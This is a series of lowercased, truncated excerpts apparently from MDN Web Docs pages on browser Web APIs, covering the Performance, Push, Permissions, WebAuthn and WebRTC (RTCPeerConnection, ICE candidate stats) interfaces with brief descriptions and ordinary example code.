properties displayitemsoptional an array of paymentitem objects, each describing one line item for the payment request.
... modifiersoptional an array of paymentdetailsmodifier objects, each describing a modifier for particular payment method identifiers.
... shippingoptionsoptional an array of paymentshippingoption objects, each describing one available shipping option from which the user may choose.
PaymentRequestEvent() - Web APIs
the paymentrequestevent constructor creates a new paymentrequestevent object which is a constructor for a paymentrequestevent which is the object passed to a payment handler when a paymentrequest is made..
... options optional options are as follows: instrumentkey: a paymentinstrument object reflecting the payment instrument selected by the user or an empty string if the user has not registered or chosen a payment instrument.
... modifiers: an array of objects containing changes to payment details.
performance.getEntriesByName() - Web APIs
type optional the type of entry to retrieve such as "mark".
...the items will be in chronological order based on the entries' starttime.
...performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); performance.mark("begin"); do_work(100000); performance.mark("end"); do_work(200000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); check_performanceentry(p[i]); } // use getentries(name, entrytype) to get specific entries p = performance.getentries({name : "begin", entrytype: "mark"}); for (var i=0; i < p.length; i++) { log("begin[" + i + "]"); check_performanceentry(p[i]); } // use getentries...
performance.getEntriesByType() - Web APIs
syntax entries = window.performance.getentriesbytype(type); arguments type the type of entry to retrieve such as "mark".
...the items will be in chronological order based on the entries' starttime.
...performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); dowork(50000); performance.mark("end"); performance.mark("begin"); dowork(100000); performance.mark("end"); dowork(200000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); checkperformanceentry(p[i]); } // use getentries(name, entrytype) to get specific entries p = performance.getentries({name : "begin", entrytype: "mark"}); for (var i=0; i < p.length; i++) { log("begin[" + i + "]"); checkperformanceentry(p[i]); } // use getentriesby...
PerformanceEntry.duration - Web APIs
if the duration concept doesn't apply for a particular performance metric, the browser may choose to return a duration of 0.
...performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); check_performanceentry(p[i]); } } function check_performanceentry(obj) { var properties = ["name", "entrytype", "starttime", "duration"]; var methods = ["tojson"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in obj; ...
... if (supported) log("..." + properties[i] + " = " + obj[properties[i]]); else log("..." + properties[i] + " = not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'duration' in that specification.
PerformanceEntry.entryType - Web APIs
the entrytype property returns a domstring representing the type of performance metric such as, for example, "mark".
...this value doesn't change even if the request is redirected.
... function run_performanceentry() { // check for feature support before continuing if (performance.mark === undefined) { console.log("performance.mark not supported"); return; } // create a performance entry named "begin" via the mark() method performance.mark("begin"); // check the entrytype of all the "begin" entries var entriesnamedbegin = performance.getentriesbyname("begin"); for (var i=0; i < entriesnamedbegi...
PerformanceEntry.name - Web APIs
this value doesn't change even if the request is redirected.
...performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); check_performanceentry(p[i]); } } function check_performanceentry(obj) { var properties = ["name", "entrytype", "starttime", "duration"]; var methods = ["tojson"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in obj; ...
... if (supported) log("..." + properties[i] + " = " + obj[properties[i]]); else log("..." + properties[i] + " = not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'name' in that specification.
PerformanceFrameTiming - Web APIs
a frame represents the amount of work a browser does in one event loop such as processing dom events, resizing, scrolling, rendering, css animations, etc..
... an application can register a performanceobserver for "frame" performance entry types and the observer can retrieve data about the duration of each frame event.
...yle="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceframetiming" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceframetiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties (for "frame" performance entry types) by qualifying and constraining the properties as follows: performanceentry.entrytype returns "frame".
PerformancePaintTiming - Web APIs
;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/performancepainttiming" target="_top"><rect x="201" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="311" y="30" font-size...
...="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancepainttiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties (for "paint" performance entry types) by qualifying and constraining the properties as follows: performanceentry.entrytype returns "paint".
... example function showpainttimings() { if (window.performance) { let performance = window.performance; let performanceentries = performance.getentriesbytype('paint'); performanceentries.foreach( (performanceentry, i, entries) => { console.log("the time to " + performanceentry.name + " was " + performanceentry.starttime + " milliseconds."); }); } else { console.log('performance timing isn\'t supported.'); } } the code above produces console output something like the following: the time to first-paint was 2785.915 milliseconds.
PerformanceResourceTiming.responseEnd - Web APIs
the responseend read-only property returns a timestamp immediately after the browser receives the last byte of the resource or immediately before the transport connection is closed, whichever comes first.
... syntax resource.responseend; return value a domhighrestimestamp immediately after the browser receives the last byte of the resource or immediately before the transport connection is closed, whichever comes first.
...source" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("...
PerformanceTiming.domInteractive - Web APIs
the legacy performancetiming.dominteractive read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the parser finished its work on the main document, that is when its document.readystate changes to 'interactive' and the corresponding readystatechange event is thrown.
...nevertheless there are a few caveats that happens if scripts are blocking rendering and not loaded asynchronously or with custom web fonts.
... check if you are in one of these cases before using this property as a proxy for the user experience of a web site's speed of loading.
Using the Performance API - Web APIs
the domhighrestimestamp type (a double) is used by all performance interfaces to hold such time values.
... high precision timing high precision timing is achieved by using the domhighrestimestamp type for time values.
...ation objects var perf = json.parse(s); var timing = perf.timing; o.innerhtml += "<p>peformance.timing = " + json.stringify(timing) + "</p>"; var navigation = perf.navigation; o.innerhtml += "<p>peformance.navigation = " + json.stringify(navigation) + "</p>"; } } specifications the interfaces described in this document are defined in the high resolution time standard which has two levels: high-resolution time level 2; editors draft; work in progress high-resolution time; w3c recommendation 17 december 2012 interoperability as shown in the performance interface's browser compatibility table, most of the performance interfaces are broadly implemented by desktop browsers.
Using Performance Timeline - Web APIs
performance extensions performance timeline extends the performance object with three methods that provide different mechanisms to get a set of performance records (metrics), depending on the specified filter criteria.
...ormanceentry(ev) { var properties = ["name", "entrytype", "starttime", "duration"]; // create a few performance entries performance.mark("start"); do_work(50000); performance.mark("stop"); performance.measure("measure-1"); var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("perfentry[" + i + "]"); for (var j=0; j < properties.length; j++) { // check each property in window.performance var supported = properties[j] in p[i]; if (supported) { var pe = p[i]; log("...
... specifications the interfaces described in this document are defined in the performance timeline standard which has two levels: performance timeline level 2; editors draft; work in progress.
PermissionStatus - Web APIs
the permissionstatus interface of the permissions api provides the state of an object and an event handler for monitoring changes to said state.
... event handler permissionstatus.onchange an event called whenever permissionstatus.status changes.
... example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission status is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission status has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'permissionstatus' in that specification.
Point - Web APIs
WebAPIPoint
point is an interface, which existed only briefly in the css transforms level 1 specification, which represents a point in 2-dimensional space.
... although it is not directly related to this defunct interface, you are probably looking for dompoint, which is part of the geometry interfaces module level 1 specification.
... specifications this class was specified in the defunct 20 march 2009 working draft of css 2d transforms module level 3.
PointerEvent.pointerType - Web APIs
the pointertype read-only property of the pointerevent interface indicates the device type (mouse, pen, or touch) that caused a given pointer event.
... "touch" the event was generated by a touch, such as a finger.
... targetelement.addeventlistener('pointerdown', function(event) { // call the appropriate pointer type handler switch (event.pointertype) { case 'mouse': process_pointer_mouse(event); break; case 'pen': process_pointer_pen(event); break; case 'touch': process_pointer_touch(event); break; default: console.log(`pointertype ${event.pointertype} is not suported`); } }, false); specifications specification status comment pointer ev...
PopStateEvent - Web APIs
a popstate event is dispatched to the window every time the active history entry changes between two history entries for the same document.
...the popstate event is only triggered by doing a browser action such as a clicking on the back button (or calling history.back() in javascript).
...chrome did until version 34, while safari did until version 10.0.
PositionOptions.maximumAge - Web APIs
the positionoptions.maximumage property is a positive long value indicating the maximum age in milliseconds of a possible cached position that is acceptable to return.
... if set to 0, it means that the device cannot use a cached position and must attempt to retrieve the real current position.
... if set to infinity the device must return a cached position regardless of its age.
PublicKeyCredential.id - Web APIs
the id read-only property of the publickeycredential interface is a domstring, inherited from credential, which represents the identifier of the current publickeycredential instance.
... examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var i...
...d = newcredentialinfo.id; // do something with the id // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'id' in that specification.
PublicKeyCredentialCreationOptions.pubKeyCredParams - Web APIs
as of this writing (march 2019), only "public-key" may be used.
... though those elements are sorted by preference (the first element being the most prefered), it is up to the client to choose among those elements for building the credential.
... examples var publickey = { pubkeycredparams: [ // we would like an elliptic curve to be used if possible { type: "public-key", alg: -7 }, // if not, then we will fallback on an rsa algorithm { type: "public-key", alg: -37 } ], challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", } }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(functi...
PushManager.getSubscription() - Web APIs
(no live demo is available.) // we need the service worker registration to check for a subscription navigator.serviceworker.ready.then(function(serviceworkerregistration) { // do we already have a push message subscription?
... serviceworkerregistration.pushmanager.getsubscription() .then(function(subscription) { // enable any ui which subscribes / unsubscribes from // push messages.
...ow the user to enable push return; } // keep your server in sync with the latest subscriptionid sendsubscriptiontoserver(subscription); showcurlcommand(subscription); // set your ui to show they have subscribed for // push messages pushbutton.textcontent = 'disable push messages'; ispushenabled = true; }) .catch(function(err) { window.demo.debug.log('error during getsubscription()', err); }); }); specifications specification status comment push apithe definition of 'getsubscription()' in that specification.
PushManager.subscribe() - Web APIs
if specified, all messages from your application server must use the vapid authentication scheme, and include a jwt signed with the corresponding private key.
... note: this parameter is required in some browsers like chrome and edge.
... console.log(error); } ); }); responding to user gestures subscribe() calls should be done in response to a user gesture, such as clicking a button, for example: btn.addeventlistener('click', function() { serviceworkerregistration.pushmanager.subscribe(options) .then(function(pushsubscription) { // handle subscription }); }) this is not only best practice — you should not be spamming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notifications not trigg...
PushMessageData - Web APIs
the pushmessagedata interface of the push api provides methods which let you retrieve the push data sent by a server in various formats.
... unlike the similar methods in the fetch api, which only allow the method to be invoked once, these methods can be called multiple times.
... examples self.addeventlistener('push', function(event) { var obj = event.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { firenotification(obj, event); port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); specifications specification status comment push apithe definition of 'pushmessagedata' in that specification.
PushSubscription.options - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoptionschrome full support 42edge full support 16firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and the push api.ie no support noopera full support 29safari no support nowebview android no support ...
... nochrome android full support 42firefox android full support 48opera android full support 29safari ios no support nosamsung internet android full support 4.0legend full support full support no support no supportsee implementation notes.see implementation notes.
PushSubscription - Web APIs
methods pushsubscription.getkey() returns an arraybuffer which contains the client's public key, which can then be sent to a server and used in encrypting push message data.
... pushsubscription.unsubscribe() starts the asynchronous process of unsubscribing from the push service, returning a promise that resolves to a boolean when the current subscription is successfully unregistered.
... example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { subscription.unsubscribe().then(function(successful) { // you've successfully unsubscribed }).catch(function(e) { // unsubscription failed }) }) }); specifications specification status comment push apithe definition of 'pushsubscription' in that specification.
RTCIceCandidate.foundation - Web APIs
the rtcicecandidate interface's read-only foundation property is a string which uniquely identifies the candidate across multiple transports.
... as such, the foundation can be used to correlate candidates that are present on multiple rtcicetransport objects syntax var foundation = rtcicecandidate.foundation; value a domstring which uniquely identifies the candidate across all rtcicetransports on which it is available.
... usage notes consider this sdp attribute line (a-line) which describes an ice candidate: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the field "4234997325" is the foundation.
RTCIceCandidate.sdpMid - Web APIs
the read-only property sdpmid on the rtcicecandidate interface returns a domstring specifying the media stream identification tag of the media component with which the candidate is associated.
... this id uniquely identifies a given stream for the component with which the candidate is associated.
... syntax var sdpmid = rtcicecandidate.sdpmid; value a domstring which uniquely identifies the source media component from which the candidate draws data, or null if no such association exists for the candidate.
RTCIceCandidatePair.local - Web APIs
the local property of the rtcicecandidatepair dictionary specifies the rtcicecandidate which describes the configuration of the local end of a viable webrtc connection.
... syntax localcandidate = rtcicecandidatepair.local; value an rtcicecandidate which describes the configuration of the local end of a viable pair of ice candidates.
...in the first rtcrtpsender, we get the rtcdtlstransport over which the media data is being transmitted and finally, from that, the rtcicetransport.
RTCIceCandidatePair - Web APIs
the rtcicecandidatepair dictionary describes a pair of ice candidates which together comprise a description of a viable connection between two webrtc endpoints.
... example in this example, an event handler for selectedcandidatepairchange is set up to update an on-screen display showing the protocol used by the currently selected candidate pair.
... var icetransport = pc.getsenders()[0].transport.icetransport; var localproto = document.getelementbyid("local-protocol"); var remoteproto = document.getelementbyid("remote-protocol"); icetransport.onselectedcandidatepairchange = function(event) { var pair = icetransport.getselectedcandidatepair(); localprotocol.innertext = pair.local.protocol.touppercase(); remoteprotocol.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidatepair' in that specification.
RTCIceCandidatePairStats.firstRequestTimestamp - Web APIs
the rtcicecandidatepairstats property firstrequesttimestamp specifies the time at which the first stun request was sent on the described candidate pair.
... syntax firstrequesttimestamp = rtcicecandidatepairstats.firstrequesttimestamp; value a domhighrestimestamp object indicating the timestamp at which the first stun request was sent on the connection described by the described pair of candidates.
... you can use this value in combination with lastrequesttimestamp and requestssent to compute the average interval between consecutive connectivity checks: avgcheckinterval = (candidatepairstats.lastrequesttimestamp - candidatepairstats.firstrequesttimestamp) / candidatepairstats.requestssent; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.firstrequesttimestamp' in that specification.
RTCIceCandidatePairStats.lastRequestTimestamp - Web APIs
the rtcicecandidatepairstats property lastrequesttimestamp indicates the time at which the most recent stun request was sent on the described candidate pair.
... syntax lastrequesttimestamp = rtcicecandidatepairstats.lastrequesttimestamp; value a domhighrestimestamp object indicating the timestamp at which the last (most recent) stun request was sent on the connection indicated by the described pair of candidates.
... you can use this value in combination with firstrequesttimestamp and requestssent to compute the average interval between consecutive connectivity checks: avgcheckinterval = (candidatepairstats.lastrequesttimestamp - candidatepairstats.firstrequesttimestamp) / candidatepairstats.requestssent; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.lastrequesttimestamp' in that specification.
RTCIceCandidatePairStats.requestsSent - Web APIs
the rtcicecandidatepairstats dictionary's requestssent property indicates the total number of stun connectivity check requests that have been sent so far on the connection described by this pair of candidates.
... syntax requestssent = rtcicecandidatepairstats.requestssent; value an integer value which specifies the number of stun connectivity requests that have been sent to date on the connection described by this pair of ice candidates.
...this differs from requestsreceived, which does include retransmisions.
RTCIceCandidatePairStats.responsesSent - Web APIs
the rtcicecandidatepairstats dictionary's responsessent property indicates the total number of stun connectivity check responses that have been sent so far on the connection described by this pair of candidates.
... syntax responsessent = rtcicecandidatepairstats.responsessent; value an integer value indicating the number of times a repsonse has been sent to a stun connectivity check request.
... note: since it isn't possible to tell the difference between connectivity check requests and consent requests, this value includes both.
RTCIceCandidatePairStats.retransmissionsReceived - Web APIs
the rtcicecandidatepairstats dictionary's retransmissionsreceived property indicates the total number of stun connectivity check request retransmissions that have been received so far on the pair of candidates.
... syntax retransmissionsreceived = rtcicecandidatepairstats.retransmissionsreceived; value an integer value indicating the total number of retransmitted stun connectivity check requests have been received on the connection referenced by this candidate pair so far.
... note: retransmissions are connectivity check requests with a transaction_transmit_counter attribute whose req field is greater than 1 (indicating that the request has been transmitted more than once).
RTCIceCandidatePairStats.retransmissionsSent - Web APIs
the rtcicecandidatepairstats dictionary's retransmissionssent property indicates the total number of stun connectivity check request retransmissions that have been sent so far on the pair of candidates.
... syntax retransmissionssent = rtcicecandidatepairstats.retransmissionssent; value an integer value indicating the total number of retransmitted stun connectivity check requests have been sent on the connection referenced by this candidate pair so far.
... note: retransmissions are connectivity check requests with a transaction_transmit_counter attribute whose req field is greater than 1 (indicating that the request has been transmitted more than once).
RTCIceCandidatePairStats.totalRoundTripTime - Web APIs
the rtcicecandidatepairstats dictionary's totalroundtriptime property is the total time that has elapsed between sending stun requests and receiving the responses, for all such requests that have been made so far on the pair of candidates described by this rtcicecandidatepairstats object.
... this value includes both connectivity check and consent check requests.
... syntax totalrtt = rtcicecandidatepairstats.totalroundtriptime; value this floating-point value indicates the total number of seconds which have elapsed between sending out stun connectivity and consent check requests and receiving their responses, for all such requests made so far on the connection described by this candidate pair.
RTCIceComponent - Web APIs
the webrtc api's rtcicecomponent enumerated type contains domstring values that each identify a specific ice component; these are "rtp" and "rtcp".
... values "rtp" identifies an ice transport which is being used for the real-time transport protocol (rtp), or for rtp multiplexed with the rtp control protocol (rtcp).
... "rtcp" identifies an ice transport being used for rtcp, which is defined in rfc 3550, section 6.
RTCIceServer.url - Web APIs
WebAPIRTCIceServerurl
you should instead use the newer urls property, which allows you to optionally specify multiple urls for the server.
... example this example creates a new rtcpeerconnection which will use a stun server at stunserver.example.org to negotiate connections.
...the urls property lets you include them both in one server, which is more readily maintainable.
RTCIceServer - Web APIs
the rtciceserver dictionary defines how to connect to a single ice server (such as a stun or turn server).
... urls this required property is either a single domstring or an array of domstrings, each specifying a url which can be used to connect to the server.
... older versions of the webrtc specification included an url property instead of urls; this was changed in order to let you specify multiple addresses for each server in the list, as shown in the example below.
RTCInboundRtpStreamStats.firCount - Web APIs
the receiver sends a fir packet when the stream falls behind and needs to skip frames in order to catch up.
...this tells the sender to send a full frame instead of a delta frame, so that the receiver can catch up.
... the higher fircount is, the more often frames were dropped, which may be an indication that the media's bit rate is too high for the available bandwidth, or that the receiving device is overburdened and is therefore unable to process the incoming data.
RTCInboundRtpStreamStats.lastPacketReceivedTimestamp - Web APIs
the lastpacketreceivedtimestamp property of the rtcinboundrtpstreamstats dictionary indicates the time at which the most recently received packet arrived from this source.
... syntax var lastpackettimestamp = rtcinboundrtpstreamstats.lastpacketreceivedtimestamp; value a domhighrestimestamp which specifies the time at which the most recently received packet arrived on this rtp stream.
... note: this value differs from the timestamp, which represents the time at which the statistics object was created.
RTCInboundRtpStreamStats.packetsDuplicated - Web APIs
syntax var packetsduplicated = rtcinboundrtpstreamstats.packetsduplicated; value an integer value which specifies how many duplcate packets have been received by the local end of this rtp stream so far.
...each time a packet is repeated, the value of packetsduplicated is incremented, even if the same packet is received more than twice.
...the resulting value will be positive, although it will not match the count as computed in rfc 3660.
RTCInboundRtpStreamStats.perDscpPacketsReceived - Web APIs
the perdscppacketsreceived property of the rtcinboundrtpstreamstats dictionary is a record comprised of key/value pairs in which each key is a string representation of a differentiated services code point and the value is the number of packets received for that dcsp.
...each key is the string representation of a single differentiated services code point (dscp)'s id number.
... note: due to network bleaching and remapping, the numbers seen on this record are not necessarily going to match the values as they were when the data was sent.
RTCOfferOptions - Web APIs
properties this dictionary also inherits properties from the rtcofferansweroptions dictionary, on which it's based.
... icerestart optional a boolean which, when set to true, tells createoffer() to generate and use new values for the identifying properties of the sdp it creates, resulting in a request that triggers renegotiation of the ice connection.
... this is useful if network conditions have changed in a way that make the current configuration untenable or impractical, for instance.
RTCOutboundRtpStreamStats.firCount - Web APIs
a fir packet is sent when the receiver finds that it has fallen behind and needs to skip frames in order to catch up; the sender should respond by sending a full frame instead of a delta frame.
...this tells the sender to send a full frame instead of a delta frame, so that the receiver can catch up.
... the higher fircount is, the more often frames were dropped, which may be an indication that the media's bit rate is too high for the available bandwidth, or that the receiving device is overburdened and is therefore unable to process the incoming data.
RTCOutboundRtpStreamStats.lastPacketSentTimestamp - Web APIs
the lastpacketsenttimestamp property of the rtcoutboundrtpstreamstats dictionary indicates the time at which the rtcrtpsender described by this rtcoutboundrtpstreamstats object last transmitted a packet to the remote receiver.
... syntax var lastpackettimestamp = rtcoutboundrtpstreamstats.lastpacketsenttimestamp; value a domhighrestimestamp which specifies the time at which the most recently received packet arrived on this rtp stream.
... note: this value differs from the timestamp, which represents the time at which the statistics object was created.
RTCOutboundRtpStreamStats.perDscpPacketsSent - Web APIs
the perdscppacketssent property of the rtcoutboundrtpstreamstats dictionary is a record comprised of key/value pairs in which each key is a string representation of a differentiated services code point and the value is the number of packets sent for that dcsp.
...each key is the string representation of a single differentiated services code point (dscp)'s id number.
... note: due to network bleaching and remapping, the numbers seen on this record are not necessarily going to match the values as they were when the data was sent.
RTCPeerConnection: addstream event - Web APIs
you should instead watch for the track event, which is sent for each media track added to the rtcpeerconnection.
... bubbles no cancelable no interface mediastreamevent event handler property rtcpeerconnection.onaddstream you can, similarly, watch for streams to be removed from the connection by monitoring the removestream event.
... if (pc.addtrack !== undefined) { pc.ontrack = ev => { ev.streams.foreach(stream => doaddstream(stream)); } } else { pc.onaddstream = ev => { doaddstream(ev.stream); } } this calls a function doaddstream() once for each stream being added to the rtcpeerconnection, regardless of whether the browser sends addstream or track.
RTCPeerConnection.canTrickleIceCandidates - Web APIs
the read-only rtcpeerconnection property cantrickleicecandidates returns a boolean which indicates whether or not the remote peer can accept trickled ice candidates.
...if trickling isn't supported, or you aren't able to tell, you can check for a falsy value for this property and then wait until the value of icegatheringstate changes to "completed" before creating and sending the initial offer.
...pc.setremotedescription(remoteoffer) .then(_ => pc.createanswer()) .then(answer => pc.setlocaldescription(answer)) .then(_ => if (pc.cantrickleicecandidates) { return pc.localdescription; } return new promise(r => { pc.addeventlistener('icegatheringstatechange', e => { if (e.target.icegatheringstate === 'complete') { r(pc.localdescription); } }); }); }) .then(answer => sendanswertopeer(answer)) // signaling message .catch(e => handleerror(e)); pc.addeventlistener('icecandidate', e => { if (pc.cantrickleicecandidates) { sendcandidatetopeer(e.candidate); // signaling message } }); specifications ...
RTCPeerConnection.currentLocalDescription - Web APIs
to change the currentlocaldescription, call rtcpeerconnection.setlocaldescription(), which triggers a series of events which leads to this value being set.
... for details on what exactly happens and why the change isn't necessarily instantaneous, see pending and current descriptions in webrtc connectivity.
... unlike rtcpeerconnection.localdescription, this value represents the actual current state of the local end of the connection; localdescription may specify a description which the connection is currently in the process of switching over to.
RTCPeerConnection.currentRemoteDescription - Web APIs
to change the currentremotedescription, call rtcpeerconnection.setremotedescription(), which triggers a series of events which leads to this value being set.
... for details on what exactly happens and why the change isn't necessarily instantaneous, see pending and current descriptions in webrtc connectivity.
... unlike rtcpeerconnection.remotedescription, this value represents the actual current state of the local end of the connection; remotedescription may specify a description which the connection is currently in the process of switching over to.
RTCPeerConnection.getConfiguration() - Web APIs
the rtcpeerconnection.getconfiguration() method returns an rtcconfiguration object which indicates the current configuration of the rtcpeerconnection on which the method is called.
...uration.certificates != undefined) && (!configuration.certificates.length)) { rtcpeerconnection.generatecertificate({ name: 'rsassa-pkcs1-v1_5', hash: 'sha-256', moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]) }).then(function(cert) { configuration.certificates = [cert]; mypeerconnection.setconfiguration(configuration); }); } this example fetches the current configuration of the rtcpeerconnection, then looks to see if it has any certificates set by examining whether or not (a) the configuration has a value for certificates, and (b) whether its length is zero.
... if it's determined that there are no certificates in place, rtcpeerconnection.generatecertificate() is called to create a new certificate; we provide a fulfillment handler which adds a new array containing the one newly-created certificate to the current configuration and passes it to setconfiguration() to add the certificate to the connection.
RTCPeerConnection.getReceivers() - Web APIs
the rtcpeerconnection.getreceivers() method returns an array of rtcrtpreceiver objects, each of which represents one rtp receiver.
... each rtp receiver manages the reception and decoding of data for a mediastreamtrack on an rtcpeerconnection syntax var receivers = rtcpeerconnection.getreceivers(); return value an array of rtcrtpreceiver objects, one for each track on the connection.
... the order of the returned rtcrtpreceiver instances is not defined by the specification, and may change from one call to getreceivers() to the next.
RTCPeerConnection.getStreamById() - Web APIs
if no stream matches, it returns null.
... // from: https://bugs.chromium.org/p/chromium/issues/detail?id=698163&desc=5#c10 rtcpeerconnection.prototype.getstreambyid = function(id) { try { var localstreams = this.getlocalstreams(); var remotestreams = this.getremotestreams(); var i; for (i = 0; i < localstreams.length; i++) { if (localstreams[i].id == id) return localstreams[i]; } for (i = 0; i < remotestreams.length; i++) { ...
... if (remotestreams[i].id == id) return remotestreams[i]; } } catch(e) {} return null; } ...
RTCPeerConnection: icecandidateerror event - Web APIs
there is one additional, webrtc-specific, error which lies outside the valid stun error code range: 701.
...this handler looks specifically for 701 errors that indicate that candidates couldn't reach the stun or turn server.
...each provided server is tried until a connection is established.
RTCPeerConnection.onicecandidateerror - Web APIs
the rtcpeerconnection.onicecandidateerror property is an eventhandler which specifies a function which is called to handle the icecandidateerror event when it occurs on an rtcpeerconnection instance.
... syntax rtcpeerconnection.onicecandidateerror = eventhandler; value this should be set to a function you provide which is passed a single parameter: an rtcpeerconnectioniceerrorevent object describing the icecandidateerror event.
... } else if (event.errorcode >= 700 && event.errorcode <= 799) { // server could not be reached; a specific error number is // provided but these are not yet specified.
RTCPeerConnection.onidpvalidationerror - Web APIs
such an event is sent when the associated identity provider (idp) encounters an error while validating an identity assertion.
...you should instead detect idp validation errors by watching for the promise returned by rtcpeerconnection.peeridentity to be rejected.
... syntax peerconnection.onidpvalidationerror = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}.
RTCPeerConnectionIceErrorEvent - Web APIs
if no host candidate can reach the server, this property is set to the number 701, which is outside the range of valid stun error codes.
... port read only an unsigned integer value giving the port number over which communication with the stun or turn server is taking place, using the ip address given in address.
... url read only a domstring indicating the url of the stun or turn server with which the error occurred.
RTCRtpCodecParameters - Web APIs
most of the fields in this property take values which are defined and maintained by the internet assigned numbers authority (iana).
...the clock rate is the rate at which the codec's rtp timestamp advances.
... channels optional an unsigned short integer indicating the number of channels the codec should support.
RTCRtpContributingSource.rtpTimestamp - Web APIs
the read-only rtptimestamp property of the rtcrtpcontributingsource interface returns a domhighrestimestamp indicating the source-generated time at which the media contained int he packet was first sampled or obtained.
... syntax let rtptimestamp = rtcrtpcontributingsource.rtptimestamp value an integer value specifiying a source-generated timestamp indicating the time at which the media in this packet, scheduled for play out at the time indicated by timestamp, was initially sampled or generated.
... this value may be useful for sequencing and synchronization purposes.
RTCRtpEncodingParameters.scaleResolutionDownBy - Web APIs
the rtcrtpencodingparameters dictionary's scaleresolutiondownby property can be used to specify a factor by which to reduce the size of a video track during encoding.
... syntax rtpencodingparameters.scaleresolutiondownby = scalingfactor; rtpencodingparameters = { scaleresolutiondownby: scalingfactor }; value a double-precison floating-point number specifying the amount by which to reduce the size of the video during encoding.
